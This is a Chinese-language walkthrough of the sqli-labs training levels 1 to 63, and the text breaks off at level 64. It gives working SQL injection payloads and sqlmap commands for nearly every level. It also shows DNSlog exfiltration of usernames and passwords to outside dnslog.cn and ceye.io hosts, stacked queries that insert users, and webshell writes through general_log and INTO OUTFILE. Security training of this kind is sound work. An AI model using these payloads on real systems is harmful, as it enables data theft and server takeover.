前言
我们下面进行第一个漏洞——SQL注入的学习,SQL注入是十大漏洞之一,较为常见,算是Web安全入门必学漏洞。我们之前一直都以CTFHub为主线进行学习,但由于SQL注入细节较多,CTFHub的题目并不能深入学习。为探讨清楚SQL注入的诸多细节,我们特以经典的sqli-labs为支线进行从入门到进阶的强化训练。
在做题过程中,作者把用到的知识进行了全面、详细、系统的总结,所以为了方便学习,查阅完全适配此文的总结是必不可少的(怎么可以光训练不去学习、总结呢)。
作者的总结:SQL注入全详解-CSDN博客
sqli-labs安装与配置请参考:SQL注入之sqli-labs(安装与配置) - FreeBuf网络安全行业门户
Less-1
1、手工UNION联合查询注入
首页面
按提示输入
?id=1
有回显,尝试多次,发现id从1开始输出不同的用户,如id=1时,有用户名Dump
?id='
输入单引号,页面报错,You have an error in your SQL syntax;
应该是有注入漏洞,当然,这里肯定有注入漏洞
?id=1 and 1=2
似乎是字符型注入
?id=1'
报错 ' '1'' LIMIT 0,1 ' ,可以看出输入了1‘,根据报错信息确定咱们输入内容放到一对单引号中,脑补一下咱们输入的内容在数据库出现的位置:select ... from ... where id=’1’ LIMIT 0,1 ......,确定是字符型注入
?id=1' union select 1,2,3--+
递增尝试,从select 1 --+到select 1,2,3 --+,没有报错但为什么没显示1,2,3?
这里就涉及到了联合查询的一个知识点,如果联合查询前面条件为真,后面语句就不执行了,所以我们需要让联合查询前面条件为假,怎么让联合查询为假?
我们可以直接使用-1,或者是使用更大的数字,但是-1肯定不存在,因为id一般是无符号整型,经尝试,0也可以。
还要注意转义,空格转义成‘+‘,-- 应写为--+(所有get传参中,都要进行url编码。“+“在url编码中代表空格)
在线URL 编码/解码工具URL 编码/解码 - 锤子在线工具
?id=0' union select 1,2,3 --+
换成0后,联合查询前面的条件为假,我们再次逐次尝试,发现select 1,2,3时能够正常显示,表明有3项数据传回,其中1所在位置不显示,2所在位置显示在Your Login name: ,3所在位置显示在Your Password: 。可以在2,3所在位置下手。
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
爆表名
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
?id=0' union select 1,group_concat(username,':',password),3 from users --+
爆用户数据,其实与之前id一一对应,id=1时,正是用户Dump
2、手工报错型注入
法一、floor()报错注入
?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+
?id=1' union select 1,count(*),concat_ws('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),floor(rand(0)*2)) as x from information_schema.tables group by x--+
?id=1' union select 1,count(*),concat_ws('~',(select group_concat(column_name) from information_schema.columns where table_name = 'users'),floor(rand(0)*2)) as x from information_schema.tables group by x--+
?id=1' union select 1,count(*),concat_ws('~',(select group_concat(username,':',password) from users),floor(rand(0)*2)) as x from information_schema.tables group by x--+
发现显示了id=1的用户Dump,改一改试试?
?id=0' union select 1,count(*),concat_ws('~',(select group_concat(username,':',password) from users),floor(rand(0)*2)) as x from information_schema.tables group by x--+
改了之后用户数据全部出来,但不是报错型注入(未从报错中显示)
?id=-1' union select 1,count(*),concat_ws('~',(select concat(username, '~',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
#limit 0,1从第一行开始显示一行数据
这才是报错型注入,可用limit逐行输出
法二、extractValue()报错注入
?id=-1' and extractvalue(1,concat(0x7e,(select database()))) --+
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'users')))--+
查询后发现不是我们想要的,可能是查错表了
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))--+
加上库名,防止有重名的表
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users)))--+
发现查的不全,默认只能返回32个字符,可以用substring()函数解决
?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,':',password) from users),1,32))) --+
用substring先查32个字符
?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,':',password) from users),32,32))) --+
再查32个,依次往下查
法三、updateXml()报错注入
?id=1' and updatexml(1,concat(0x7e,(database())),'1')--+
后续与extractValue()报错注入相似
Less-2
?id=1 and 1=2
查不出来,似乎是数字型注入
?id=1'
报错 '' LIMIT 0,1' ,输入的内容直接放在数据库里,是所谓的数字型注入
?id=0 union select 1,2,3 --+
不加单引号也能查,确定是数字型注入
后续步骤相似,仅把第一题?id=0后面的单引号去掉
Less-3
?id=1'
报错 ''1'') LIMIT 0,1' ,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,脑补一下咱们输入1在数据库语句中的位置,形如select ... from ... where id=(‘1’) LIMIT 0,1 ...
后续步骤相似,仅把第一题?id=0’的后面加上)
Less-4
?id=1"
报错 '"1"") LIMIT 0,1' ,包裹在(“”)中
后续步骤类似,仅把第一题?id=1后面改为”)
Less-5
1、手工报错注入
?id=1
不再显示用户名与密码,UNION联合查询型注入不能用了,估计要用报错注入或盲注。
先来报错注入
?id=-1' and extractvalue(1,concat(0x7e,(select database())))--+
还好,报错注入还好使,(报错也是一种回显,可以借此显示出我们想要的信息)
剩下步骤不再重复
2、盲注
盲注比较繁琐,往往会用sqlmap等自动注入工具。但是盲注会发送大量请求,占用服务器,容易被禁ip,往往不被优先考虑。
这里先不引入工具的使用。小伙伴们最好不要过度依赖工具,工具确实是比较强大、方便的,前面几个题用工具的话很容易出用户数据,但只使用工具的话和没学一样,练熟练基本功才会有后续提升。
而且对于盲注来说,能自己写出脚本才能算真正学会,这里先不进行介绍,下文会有。
sqlmap盲注步骤详见less-7。
Less-6
?id=1"
显然是用双引号闭合
报错注入或时间盲注(以报错注入为例,盲注的例子可以看less-7)
?id=-1" and extractvalue(1,concat(0x7e,(select database()))) --+
然后就是常规流程
Less-7
DNS log注入
?id=1'
报语法错误,但不能看出有用信息
试了试,报错注入不能用了,因为报不出有用信息。
按常规考虑,应该进行布尔盲注或者时间盲注,但是盲注一般使用sqlmap跑,不能有效训练我们。
难道这里只能用工具了吗?
当然不,我们这里用一个巧妙地方法——DNSlog注入,这种方法相对于盲注来说请求个数更少(和常规注入个数一样),可以手动操作(减少禁ip的风险)
?id=1 You are in.... Use outfile......提示用文件
?id=1''''' 回显You have an error in your SQL syntax,不告诉我们哪里错了,看不见闭合
?id=1'--+ 回显You have an error in your SQL syntax
...
...
...
?id=1'))--+ You are in.... Use outfile......
说明是字符型注入闭合是 '))
不知道为啥?id=1'‘--+这里也可以,但后续步骤又不行,大家这步可以讨论一下
正式开始注入
尝试用and去注入不太行,换成union
?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(database())),'.qefbk8.dnslog.cn\\abc')),2,3--+
随便找个在线16进制字符串转换工具进行转换
?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',substr((SELECT HEX((select group_concat(table_name) from information_schema.tables where table_schema = database()))),1,63),'.ms5sju.dnslog.cn\\abc')),2,3--+
?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',substr((SELECT HEX((select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'))),1,63),'.ms5sju.dnslog.cn\\abc')),2,3--+
?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',substr((SELECT HEX((select group_concat(username,'~',password) from users ))),1,63),'.ms5sju.dnslog.cn\\abc')),2,3--+
DNS log注入还有别的应用方法(可以了解一下):
sqli-labs-master 过关 1-10 (附解题思路及各注入方法解析)
sqli-labs-master 过关 1-10 (附解题思路及各注入方法解析)_lfi-labs-master闯关-CSDN博客
盲注
直接用sqlmap。
检测「注入点」
python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1
输入后会问几个问题,根据情况做出选择(影响不大),如果懒得答,加上--batch 参数(--batch:进行默认选择,不需要手动输入YES or NO)。
python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 --batch
扫出布尔盲注、时间盲注漏洞
查看当前使用的数据库
python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 --current-db
查看「数据表」
python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 -D security --tables
查看「字段」
python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 -D security -T users --columns
查看「数据」
python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 -D security -T users --dump
用工具虽然方便,但终究体现不出我们的水平,真正的安全工程师可不会是脚本小子(脱离工具就不能干事),但我们先不在这里写脚本,继续往下做题自然就需要我们具备更高的能力了。
Less-8
盲注:
python sqlmap.py -u http://localhost/sqli-labs/Less-8/?id=1
DNSlog注入:
同上题
Less-9
盲注:不管怎么输入,总是you are in…… ,用布尔盲注的话判断不了,这种情况只能用时间盲注
python sqlmap.py -u http://localhost/sqli-labs/Less-9/?id=1
竟然扫出布尔盲注漏洞?
后续同上,经验证,可以出结果
DNSlog注入也能用,同上
Less-10
盲注:不管怎么输入,也总是you are in……
时间盲注,用sqlmap
python sqlmap.py -u http://localhost/sqli-labs/Less-10/?id=1
竟然扫不出来
根据这道题的题目,应该是用双引号去闭合,这个可能对sqlmap有难度
尝试增加测试等级level(1-5,默认是1)和风险等级risk(1-3,默认是1),把这两个都设为3,跑的时间变长不少(相对而言,跑的东西也更多更细)
python sqlmap.py -u http://localhost/sqli-labs/Less-10/?id=1 --level 3 --risk 3
出来了,剩下的就不赘述了
也可以用DNSlog注入,同上
Less-11
使用burpsuite
11到21关的提交方式全是post型的。对于手动注入,也可以在界面注入,但建议配合使用burpsuite、hackbar或postman,注入会更便利;对于自动注入当然还是用sqlmap(不过我们会用burpsuite抓包并存储起来,后续会讲)。
这里我们优先考虑手动注入(hackbar的使用是最简单的,但在这里为啥不太好使,只好使用bp)
一开始是一个登录页面
简单尝试了一下,Username和Password都输入1,Submit后抓到包
然后在uname的1后面加一个单引号,点击forward放行
有sql注入漏洞,应该是联合查询注入与报错注入都有
一、联合查询注入
经尝试,有两个字段
uname=1’union select 1,2--+ and extractvalue(1,concat(0x7e,select database()))--+&passwd=1&submit=Submit
把2所在位置替换成database(),即
1’union select 1,database()--+
出库
后续步骤没啥说的,同上
二、报错注入
uname=1' and extractvalue(1,concat(0x7e,(select database())))--+&passwd=1&submit=Submit
后续同上
直接在登录页面注入
1' union select 1,2--+
发现使username后面password有语法错误,注释不好使了?
Mysql除了--+之外还有种注释方法#
1' union select 1,2#
成功登录,可能这里直接从登录页面注入的话,会把--+处理掉,而#不会受影响,用bp就没有这种影响,这也是我们更推荐用bp原因。有些前端会有过滤,用bp一定程度上可以绕过。
报错注入显然也是可以的
Less-12
其实最好使用bp去尝试,但这里为了偷懒,直接在登录页面注入。
怎么输入也没有报错,除了加载的图片LOGIN ATTEMPT FILED之外,什么也没有,然后随便输了几个,竟然报错了
1"""""(())))))))) #
从password猜测username也是用’’)来闭合
后来再次尝试才发现,只有输入双引号时才会报错,而且输两个单引号也不可以,发现这俩是不一样的:两个单引号’’双引号”
1”
这下不用猜了
1" ) union select 1,2#
报错注入也行
Less-13
1’
可以看出是用’)闭合
1') union select 1,2#
Logged in但没显示1,2,没回显位了,联合注入不行了,用报错注入
1') and extractvalue(1,concat(0x7e,(select database())))#
Less-14
1’没反应
1”
报错,用”闭合
1" union select 1,2#
照样没东西,用报错注入
1" and extractvalue(1,concat(0x7e,(select database())))#
Less-15
DNSlog注入
1’#
只显示登录失败
1' union select 1,2#
显示登录成功,这样闭合和字段数都出来了
没有回显也没有报错,只好用DNSlog注入和盲注了,盲注就只用工具,先试试DNSlog注入。
1' union SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(database())),'.2icsci.dnslog.cn\\abc')),2 #
盲注
先用bp抓包
然后复制抓包的所有内容(uname不要有值),随便放入一个文件里,只要自己能找到,我一般习惯放在sqlmap文件夹里,比如E:\Users\CTFtools\sqlmap\bp抓包\less15.txt,在C:\less15.txt里也行。
post请求要用-r参数,而且使用-r参数就要像上文一样抓包写包。
python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less15.txt
找到注入点
python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less15.txt --current-db
成功出库
剩下的同上。
其实也可不用-r参数,不过要加上-data参数(–data命令指定payload进行注入),比如
sqlmap -u "http://localhost/sqli-labs/Less-15/?id=1" --batch --data “uname=admin&passwd=admin&submit=Submit” –dbs
还是建议使用-r参数
Less-16
也是盲注
python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less16.txt
扫不出来
应该又是双引号闭合,升一下level和risk,用时还挺长
python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less16.txt --level 3 --risk 3
成功注入
剩下的不必多说
Less-17
怎么输入都没用,没有啥有用的信息,反倒是一直在嘲讽我们
换sqlmap扫也扫不出来,把level和risk都升到3也没用。
查看一下源代码(这一步骤简单了解即可,真实过程咱们很难去看人家的源代码)
注意看下面这段代码。
因为只有代码中$row和$row1存在时,才能进行更新语句、返回报错,所以这里用户名一定要存在,使查询语句返回数据,而且我们不能从查询语句注入,只能从更新语句"UPDATE users SET password = '$passwd' WHERE username='$row1'"注入,注入点应该是$passwd。
这样我们就明白了,username不是注入点,password才是,而且我们还要有用户名,这里应该模拟的是我们在某网站登上自己的账号后,利用修改密码来获取数据库里的其他用户数据。
那这就好说了,我们就用之前爆出来的第一个用户Dumb。
试了试,联合注入不好使,但是有报错。
那就报错注入
Dumb' and extractvalue(1,concat(0x7e,(select database())))#
出数据库了,哈哈哈,bug off you silly dumb website builder
Less-18
手动User-Agent注入
输入内容,没啥用,从题目来看是Header注入中的User-Agent注入,那就要从User-Agent入手了
这题也要在登录页面输入Dumb账户
抓包(带有Dumb账户),在User-Agent后加单引号,放包
我们在User-Agent后面加上单引号出现如下报错,可见插入语句是将User-Agent字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。我们要注意U-A字段后面还有两个参数(合三个参数),所以我们在构造时候也需要有三个参数。因为我们用#号把后面(ip和账户名)都注释了。
1’,2,3)#
有报错,用报错注入
1',2,(extractvalue(1,concat(0x7e,(select database())))))#
如果不是三个参数
我们其实还有种方法,因为U-A后面还有两个参数,我们肯定不能直接用--+或#去注释掉,但是我们可以用别的注释方法,比如下面这条,
' and extractvalue(1,concat(0x7e,(select database()))) and '1'='1
写入这条语句后,实际语句就是……’Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0' and extractvalue(1,concat(0x7e,(select database()))) and '1'='1’……,注意前后都加的单引号,这样一看,语句没毛病啊。
自动U-A注入
下面到了sqlmap环节
抓包,在http请求头的user-agent内容后面加上一个*号,写入txt,
python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less18.txt
这个问题答yes(当然也可以在写命令指令的时候加上相应参数)
其他问题看情况随便答答,稍等一会
Less-19
手动Referer注入
看题目就知道,是Header注入中的referer注入,
还是像之前一样,输入Dumb,抓包,记得在referer后面加单引号,
有报错,用报错注入,注意有两个参数
自动Referer注入
抓包,写包,在Referer后面加*
python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less19.txt
python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less19.txt --current-db
Less-20
手动cookie注入
登录,这么多回显,似乎有很多注入方法,尝试过后,只有cookie注入
抓包,Cookie后加单引号
' and extractvalue(1,concat(0x7e,(select database())))#
自动Cookie注入
抓包,写包(会抓到很多包,不要写错了,参考下图),在cookie后面加*
python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\1.txt
Less-21
一样是cookie注入,抓包,从格式看cookie应该是经过base64编码过了(不了解的可以查一查,一种基础编码方式)
找个Base64 在线工具Base64 在线编码解码 | Base64 加密解密 - Base64.us
好说,和之前一样,不过我们写的注入语句也应该编码
报错了,考虑到我们用的Dumb’,应该是’)闭合
自动也可以,先加上*
python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less21.txt --tamper base64encode.py
要带个脚本,以便base64编码
Less-22
和上题基本一样,但用Dumb’不好使,要换成双引号
闭合正好是用双引号
Less-23
Get注入
?id=1',用单引号闭合
有报错,但常规报错注入不太行,说是过滤了注释符
但是可以参考之前一种情况
?id=1' and extractvalue(1,concat(0x7e,(select database()))) and '1' ='1
然后id因为外面还有一层单引号,所以实际是‘1' and extractvalue(1,concat(0x7e,(select database()))) and '1' ='1’,一点毛病没有
联合注入也是可以的
?id=-1' union select 1,2,3'
或者
?id=-1' union select 1,2,3 or '1' = '1
这就绕过了过滤
Sqlmap也可以,像之前一样,用-u参数就行
Less-24
我们直接在登录或注册界面注入都会被过滤,而且忘记密码界面什么也没有,这个题是二次注入。
首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的admin。
我们利用带有管理员账号的注册用户名,然后在修改密码的时候达到修改管理员账号密码的效果。
注册用户名:admin’ or ‘1’=’1 密码为 admin(随便设置),
注册成功后,登录进去修改密码,将密码改为 123,
更改后即可发现,admin用户的密码也被改成了123,
自行脑补一下,update tables set password=’123’ where username=’admin’ or ‘1’=’1’(完美闭合,语句没毛病)
也可以注册一个账号名叫admin'#。
UPDATE users SET PASSWORD='111111' where username='admin' # ' and password='admin原来的密码'
(这个题感觉有些问题,只显示登录成功,重启了好几次也不行,具体思路就是这样,先不管了)
Less-25
估计过滤了or和and,试了试,果然如此
大小写绕过也没啥用
?id=1' AnD extractvalue(1,concat(0x7e,(select database())))--+
用可以变形
?id=1' %26%26 extractvalue(1,concat(0x7e,(select database())))--+
%26%26是url编码,是&&的意思(见下图)
用嵌套也可以(双写绕过),应该是一次过滤
?id=1' ANandD extractvalue(1,concat(0x7e,(select database())))--+
联合查询也是可以的
?id=1' union select 1,2,3--+
我们可以采用双写绕过,information里面涉及or可以写成infoorrmation,注意password应该改成passwoorrd,防止过滤掉单词里的or
Less-25a
?id=1--+
这题是整数型注入,不用闭合,过滤和上题相同。
报错注入不好使了,有报错但是报错是固定的,告诉你错了但是不告诉你具体哪里错了。
?id=1 ANandD extractvalue(1,concat(0x7e,(select database())))--+
用联合注入,和上题类似(不用闭合)
Less-26
将and、or,注释符以及空格给过滤了,双写绕过或者使用&&和||替换。
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
/**/ 注释
这题基本上把所有可替代空格的都过滤了。但是空格的作用还可以用括号代替。
可以用||加报错注入
?id=1'||extractvalue(1,concat(0x7e,(SelEct(database()))))||'0
也可以用联合注入(%00截断?),注意联合注入不能用||'0闭合
?id=1'union(select(1),(2),(3));%00
?id=0'union(select(1),(2),(select(database())));%00
......
?id=0'union(select(1),(2),(group_concat(username,'~',passwoorrd))from(users));%00
Less-26a
用’)闭合,有报错但是报错是固定的,报错注入不好使
用联合注入,和上题类似
?id=0')union(select(1),(2),(select(database())));%00
Less-27
union、select、空格以及注释符都会被过滤
我们可以大小写绕过以及重写绕过,空格可以用其他符号代替,例如()、'%09等。
报错注入
?id=1'||extractvalue(1,concat(0x7e,(SelEct(database()))))||'0
联合注入也可以(注意看图片底部显示的语句)
?id=0'%09UnIoN%09SelEcT%091,2,(SelEcT(database()));%00
Less-27a
用”闭合,有报错但是报错也是固定的,报错注入不好使
联合注入,和上题类似
?id=0"%09UnIoN%09SelEcT%091,2,(SelEcT(database()));%00
Less-28
闭合是'),过滤了空格,当union select相邻出现时一起过滤。
有报错但是报错是固定的,报错注入不好使
?id=0')uNIOn(sELEct(1),(2),(select(database())));%00
?id=0')union(select(1),(2),(select(database())));%00
也好使,应该是用(把它们断开了,识别不了。
Less-28a
闭合不变,空格不被过滤
报错注入还是不好使,联合注入那就随便写了,注意union select不要相邻出现(可以直接照搬上题)
Less-29
手动绕过防火墙
这里说这是世界上最好的防火墙
看我操作
二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,其余的没有校验。如果我们有两个id参数,第一个id参数应是正常数字,第二个id参数可以进行sql注入。
查看源代码,发现原来是:get提交的参数如果重名则以最后一个为准,所以sql语句在接受相同参数时候接受的是后面的参数值,但是验证id是否是数字却只是验证了第一个id参数,所以可以在后面的参数注入。
实际过程中可能没机会看源代码,这里是培养我们尝试多个参数的意识
?id=1 & id=0' union select 1,2,3--+
(#注释不好使,只好用--+)
报错注入也可以
?id=1 & id=0' and extractvalue(1,concat(0x7e,(select database())))--+
自动绕过
直接就扫出来了
python sqlmap.py -u http://localhost/sqli-labs/Less-29/?id=1 --dbms mysql –batch
当然也可以用参数--tamper
Less-30
第30关跟29关差不多,只不过30关用双引号闭合
Payload:
?id=1 & id=0"union select 1,2,3--+
用sqlmap要升一升level,--level 3就可以
Less-31
第31关跟30关差不多,只不过31关用”)闭合
Payload:
?id=1 & id=0")union select 1,2,3--+
用sqlmap要升一升level,--level 3就可以
Less-32
使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。
因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。具体利用的话我们可以用%df 吃掉 \(%5c)
因为urlencode(\') = %5c%27,如果我们在 %5c%27前面添加 %df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c当做是一个汉字,%27(单引号)则作为一个单独的符号在外面,同时也就达到了我们的目的。
联合注入
?id=0%df%27union%20select%201,2,3--+
后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,
?id=0%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+
报错注入
?id=0%df%27and%20extractvalue(1,concat(0x7e,(select%20database())))--+
Less-33
本关使用PHP中的addslashes()函数,addslashes()函数作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符如下:
由此看来与32关过滤防御方式基本是一样的,payload不变。
Less-34
POST注入+宽字节注入
抓包、改包、放包
1%df' union select 1,2--+
报错注入也行
1%df' and extractvalue(1,concat(0x7e,(select database())))--+
Less-35
数字型注入,不需要闭合。
使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了
Payload:
?id=0 union select 1,2,3#
Less-36
使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,payload和前面三十二关一样
Less-37
三十七关是post提交,使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入就行。payload和三十四关一样。
Less-38
常规堆叠注入
下面就开启堆叠注入了
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。
其实直接用联合注入就可以,但是堆叠注入有自己的独特优势,比如建立新用户、删库等,这里还是要尝试一下。
?id=0' union select 1,2,3;insert into users(id,username,password) values ('25','myname','meaning')--+
只演示创建新用户(用户名啥的可以自己随便写),就不删库了,后续做题还得用,但用法都是一样的
?id=25--+
成功写入
DNSlog外带配合堆叠注入也是可以的,
?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+
开启日志 Getshell
需要条件:
- Web 的物理路径(注意是物理路径,这里我们用的是phpstudy,地址应该是E:\PhPstudy\phpstudy_pro\WWW\sqli-labs,phpstudy所在的地址每个人都不一定一样,根据自己的来)
- MySQL 可以读写 Web 目录(需要注入手动开启)
- Windows 成功率 高于 Linux。
首先进入mysql查看当前的日志的相关配置:默认是没有开启的(OFF)
SHOW VARIABLES LIKE 'general%';
这里尝试注入的时候手动开启:
?id=1';set global general_log = "ON";set global general_log_file='E:\\PhPstudy\\phpstudy_pro\\WWW\\sqli-labs\\shell.php';--+
这里的general_log_file可以根据自己的web物理路径来写,要能找到。
尝试 getshell:
?id=1';select <?php phpinfo();?>
日志里面就会记录 <?php phpinfo();?>, 查看一下日志文件
可以直接在浏览器上打开http://localhost/sqli-labs/shell.php
如果能找到所在位置,也可以直接双击shell.php打开
Less-39
和上题差不多,不过是整数型注入,不需要闭合
?id=0 union select 1,2,3;insert into users(id,username,password) values('26','yourname','meaning') --+
?id=26--+
Less-40
四十关id参数是单引号加括号闭合,然后使用联合注入就可以了
Less-41
和三十九关差不多,id是整数型,不需要闭合。
和第39关唯一区别就是没有了报错信息。
Less-42
点forgot your password?和New User click here?都说去hack出账户出来,没什么有用信息。
抓包
login_user=1'&login_password=1'&mysubmit=Login
有报错,用单引号闭合
login_user=1'&login_password=1'&mysubmit=Login
报错消失了,说明login_user不是注入点
试试login_password
login_user=1'&login_password=1'&mysubmit=Login
有报错了,注入点是login_password
login_user没报错,而login_password有报错,应该是账户进行了转义处理,而密码没有做处理,但数据库没有使用gbk编码,所以不能向上面一样使用宽字节注入。
我们可以不用login_user,在login_password注入
login_user=&login_password=1' union select 1,2,3--+&mysubmit=Login
登录成功,2的位置有回显
1' union select 1,(select database()),3--+
之前看到还有报错,试试报错注入,也可以
login_user=&login_password=1' and extractvalue(1,concat(0x7e,(select database())))--+&mysubmit=Login
别忘了存在堆叠注入函数,所以我们可以在密码那里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。
login_user=&login_password=1';insert into users(id,username,password) values('27','27','27')--+&mysubmit=Login
登录成功
Less-43
和四十二关差不多,就是密码参数是单引号和括号闭合的。
1') union select 1,(select database()),3--+
Less-44
也和 Less-42 差不多,因为没有输出报错信息,所以这里少了报错注入的利用方式。
1' union select 1,(select database()),3--+
Less-45
和44关区别就在于,闭合变成了')。同样没有报错信息。
Less-46
常规注入
使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以报错注入。
?sort=1 and extractvalue(1,concat(0x7e,(select database())))--+
还可以用盲注
python sqlmap.py -u http://localhost/sqli-labs/Less-46/?sort=1
导入文件和getshell
发现可以·将查询结果导入到文件中:
?sort=1 into outfile "E:\\PhPstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-46\\less46.txt"
利用导入文件 getshell:
lines terminated by 姿势用于 order by 的情况 getsgell。
?sort=1 into outfile " E:\\PhPstudy\\phpstudy_pro\\WWW\\sqli-labs\\shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码。
不知道为啥出错,大家可以讨论一下
Less-47
四十六差不多,多了一个单引号闭合,还是用报错注入
Less-48
和四十六一样,只不过没有报错显示,要用盲注
Less-49
和四十七关差不多,用单引号闭合。不过没有报错显示,所以使用盲注。
Less-50
和四十六关一样,可以进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。也可以盲注。
堆叠的利用可以借鉴三十八关代码。
Less-51
该参数单引号闭合,可以报错注入,可以堆叠注入,可以盲注。
Less-52
该参数是整数型,且没有报错显示,只能堆叠注入或者盲注。
Less-53
参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和盲注。
Less-54
下面进入challenges了
用网页翻译,发现我们需要要拿到密钥并提交,而且只有十次输入机会,超过十次所有表名、列名等等都会随机重置。
Keeping it fresh at all times!!!
?id=1 回显DUMB的账号密码
?id=1' 无回显,不显示报错
(后续尝试, ?id=1’--+ 回显DUMB的账号密码)
没有报错时。不加注释无回显(此时常规情况下应该报错所以没有回显),加注释后回显(成功代替掉后面的闭合)。id参数应该是是单引号闭合。
根据经验,应该返回3个参数,直接爆表
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='0pdfwuxz90'--+
注意上面这个是我查到的表名,每个人不一样的表名,payload需要用自己的表名
?id=0' union select 1,2,group_concat(secret_KQ9Q) from 0pdfwuxz90--+
字段名也不一样
恭喜你获得成功了(密钥也不一样)
Less-55
14次机会
?id=1 回显DUMB的账号密码
?id=1--+ 无回显,不显示报错
?id=1'--+ 无回显,不显示报错
?id=1”-- 无回显,不显示报错
?id=1) 无回显,不显示报错
?id=1)--+ 回显DUMB的账号密码
id参数是加了括号的整数
?id=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
剩下的不多做赘述
Less-56
和前面两关类似,需要单引号和括号闭合。
Less-57
和前几关差不多,双引号闭合
Less-58
测出闭合是单引号,回显位数是3。但是这里联合注入用不了。
因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入不行。但是有报错显示,所以可以使用报错注入。
?id=0' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema =database())))--+
?id=0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name ='bs9axfdm1g')))--+
?id=0' and extractvalue(1,concat(0x7e,(select group_concat(secret_2I9U) from bs9axfdm1g)))--+
也可用盲注
Less-59
和58关一样,但是是数字型,无闭合。
Less-60
和58关一样,闭合变成了双引号加括号")。
Less-61
和58关一样,闭合变成了单引号加两个括号'))。
Less-62
这关开始没有报错信息了。闭合是单引号加括号')'。给了130次尝试机会。
用盲注
python sqlmap.py -u http://localhost/sqli-labs/Less-62/?id=1
python sqlmap.py -u http://localhost/sqli-labs/Less-62/?id=1 --current-db
python sqlmap.py -u http://localhost/sqli-labs/Less-62/?id=1 -D challenges –-tables
python sqlmap.py -u http://localhost/sqli-labs/Less-62/?id=1 -D challenges –T m92drmwvjp –-columns
再尝试发现不行,130次的次数限制
只能手写脚本判断,或者像之前一样getshell。
Less-63
和62关一样,闭合变成了单引号’`
Less-64
